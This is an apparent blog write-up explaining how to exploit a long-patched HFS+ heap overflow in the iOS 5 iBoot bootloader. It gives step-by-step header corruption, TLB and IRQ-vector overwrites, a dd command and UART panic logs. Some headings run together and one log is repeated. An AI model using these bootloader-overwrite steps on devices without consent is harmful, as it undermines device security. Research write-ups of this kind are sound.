Exploiting the iOS 5 iBoot bug
The bug
This bug was discovered and exploited by @p0sixninja many years ago. It’s settled in HFS+ driver and was fixed in iOS 6. It is triggered by setting hfs_header->catalogFile.extents[1].blockCount to a high value (e.g. 0x10000000). This makes iBoot try to read a huge chunk of data from HFS+ partition to heap (near the end of it):
HFSInitPartition: 0x4ff57e00
HFSReadBlock: offset 0x400 size 0x200 buffer 0x4ff30efc
returned: 0x200
HFSReadBlock: offset 0x100a000 size 0x100 buffer 0x4ff310fc
returned: 0x100
HFSReadBlock: offset 0x80a000 size 0x100 buffer 0x4ff311fc
returned: 0x100
HFSReadBlock: offset 0x1214000 size 0x2000 buffer 0x4ffaf180
returned: 0x2000
HFSReadBlock: offset 0x28e000 size 0xffd92000 buffer 0x4ffaf180
The exploit
iBoot memory is mirrored after every 0x40000000 bytes (1 GB) on devices with 1 GB RAM, every 0x20000000 (512 MB) on devices with 512 MB RAM and every 0x10000000 (256 MB) on devices with 256 MB RAM, don’t know about the others. That means, for example, if iBoot is based at 0x4FF00000 (like in case of S5L8920-S5L8922), we can also read/write to it at 0x5FF00000:
[l] lina md 0x5ff00000 0x20
0x5ff00000: 0e0000ea 18f09fe5 18f09fe5 18f09fe5
0x5ff00010: 18f09fe5 18f09fe5 18f09fe5 18f09fe5
The exploitation
- Create a third partition, we don’t want to corrupt main root filesystem
- Delete from NVRAM anything that you feel isn’t needed (we’ll talk about the reasons behind that later)
- Restore iOS 5.1.1 root filesystem for n18ap to the third partition
- Replace the value at offset 0x52C in restored HFS by a large number (0x10000000 should do fine), and a value at 0x528 by a low number (e.g. 0x10). Note that all values in HFS+ header are big-endian
- Take a target iBoot, patch its boot-command to be upgrade
- Add boot-commanb (this is not a typo) variable with upgrade value to NVRAM
- Boot the iBoot
panic: arm_exception_abort: ARM data abort abort in supervisor mode at 0x4ff172b8 due to translation error:
far 0x50000000 fsr 0x00000805
r0 0x50000000 0x600000d3 0x00000001 0x4ff69ee0
r4 0x50001180 0x50000040 0x00000003 0x4ff3716c
r8 0x4ff172b8 0x00000cfc 0x00000001 0x4ffff180 0x00000000
sp 0x4ff3715c lr 0x4ff1cd97 spsr 0x000000d3
The wrapper
We have to know from where, to where and how many bytes iBoot reads from a partition with a filesystem. For that purpose we’ll create a tiny wrapper for HFSReadBlock()
HFSInitPartition: 0x4ff57e00
HFSReadBlock: offset 0x400 size 0x200 buffer 0x4ff30efc
returned: 0x200
HFSReadBlock: offset 0x100a000 size 0x100 buffer 0x4ff310fc
returned: 0x100
HFSReadBlock: offset 0x80a000 size 0x100 buffer 0x4ff311fc
returned: 0x100
HFSReadBlock: offset 0x1214000 size 0x2000 buffer 0x4ffaf180
returned: 0x2000
HFSReadBlock: offset 0x28e000 size 0xffd92000 buffer 0x4ffaf180
panic: arm_exception_abort: ARM data abort abort in supervisor mode at 0x4ff172b8 due to translation error:
far 0x50000000 fsr 0x00000805
r0 0x50000000 0x600000d3 0x00000001 0x4ff69ee0
r4 0x50001180 0x50000040 0x00000003 0x4ff3716c
r8 0x4ff172b8 0x00000cfc 0x00000001 0x4ffff180 0x00000000
sp 0x4ff3715c lr 0x4ff1cd97 spsr 0x000000d3
HFSReadBlock: offset 0x28e000 size 0xffd92000 buffer 0x4ffaf180
The TLB
Dump the stock TLB. Its location is always iBoot base address plus 0xF8000, so it’s 0x4FFF8000 in my case. 0x4000 (16 KB) of size. Once you've dumped it, calculate where it should be within the filesystem:0x48E80 + 0x28E000 = 0x2D6E80 exact position in our HFS+ partition
0x2D6E80 - 0x16B * 0x2000 = 0xE80 padding on top
dd if=/block_363 of=/dev/rdisk0s1s3 bs=8192 seek=363
HFSInitPartition: 0x4ff57e00
HFSReadBlock: offset 0x400 size 0x200 buffer 0x4ff30efc
returned: 0x200
HFSReadBlock: offset 0x100a000 size 0x100 buffer 0x4ff310fc
returned: 0x100
HFSReadBlock: offset 0x80a000 size 0x100 buffer 0x4ff311fc
returned: 0x100
HFSReadBlock: offset 0x1214000 size 0x2000 buffer 0x4ffaf180
returned: 0x2000
HFSReadBlock: offset 0x28e000 size 0xffd92000 buffer 0x4ffaf180
The hang
Now, nothing interrupts it from reading. At some point you might get weird distortions on your device’s display. This means it reached framebuffer and overwrote it with data from the filesystemThe accelerator
When create new partition, LwVM (or something else?) marks all its blocks as empty. (Partition isn’t a filesystem!) The real reason for this may differ, but the fact is that iBoot skips all zero marked blocks and reads only those that matterThe TLB hack
Let’s take a look at TLB now. Imagine it’s an array of 32-bit integers. At both TLB[0x0] and TLB[iBoot baseaddr/0x100000] you can see the same record. Put it to TLB[mirrored iBoot baseaddr/0x100000]The overwritten iBoot
Calculate where you have to put iBoot image (part of it) in the exploit partition to overwrite it on mirrored address0xFF50E80 + 0x28E000 = 0x101DEE80 exact position in our HFS+
0x101DEE80 / 0x2000 = 0x80EF (33007) block
0x101DEE80 - 0x80EF * 0x2000 = 0xE80 padding on top
panic: task_yield: reset vector overwritten while executing task 'main' (0xffffffff)
The payload
If it panics reliably, we can now make it to jump to our payload. The idea is very typical for ARM exploitation - overwrite address of the IRQ vector. In iBoot image for overwriting overwrite value at 0x38 to a pointer to our payload plus 0x1, since our payload is in Thumb (mostly)The new iBoot
Just take a decrypted unpacked iBoot, apply all necessary patches. Choose a position to put the new iBoot very wisely not to overwrite some other block you write
HFSInitPartition: 0x4ff57e00
Hello darkness, my old friend
jumping into image at 0x4ffb0180
image 0x4ff3db00: bdev 0x4ff3ea80 type SCAB offset 0x600
image 0x4ff3db80: bdev 0x4ff3ea80 type ibot offset 0x1200 len 0x2f1f8
image 0x4ff3dc00: bdev 0x4ff3ea80 type dtre offset 0x31200 len 0x9338
The warnings
This is a heap-based exploit. Be careful with NVRAM variables and partitions. Some additional variables or just one additional partition and heap buffers' addresses will shift, as result the exploit will dieThe recommendations
Here are the recommendations I promised for those who have no UART-cable: you can try to create a wrapper which will put information about HFS+ readings into NVRAM. Just don't forget to clear it before every next attempt. I personally have never tried such method, since I already have an UART-cable. I highly recommend you get one tooThe credits
- @p0sixninja - for discovering the bug and initial idea of the exploit
- @JonathanSeals - for a lot of wording corrections in this write-up